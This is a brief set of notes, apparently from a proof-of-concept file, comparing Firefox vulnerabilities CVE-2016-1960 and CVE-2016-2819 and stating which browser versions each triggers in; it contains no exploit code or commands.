    Notes:
    *) very similar to CVE-2016-2819, but still different:
    *) this PoC (CVE-2016-1960) does trigger in 44.0.2 but not in 46.0.1
       because in 46.0.1 it is already fixed.
    *) CVE-2016-2819 does trigger the same bug in 44.0.2 and 46.0.1 because it
       was fixed in Firefox > 46.0.1
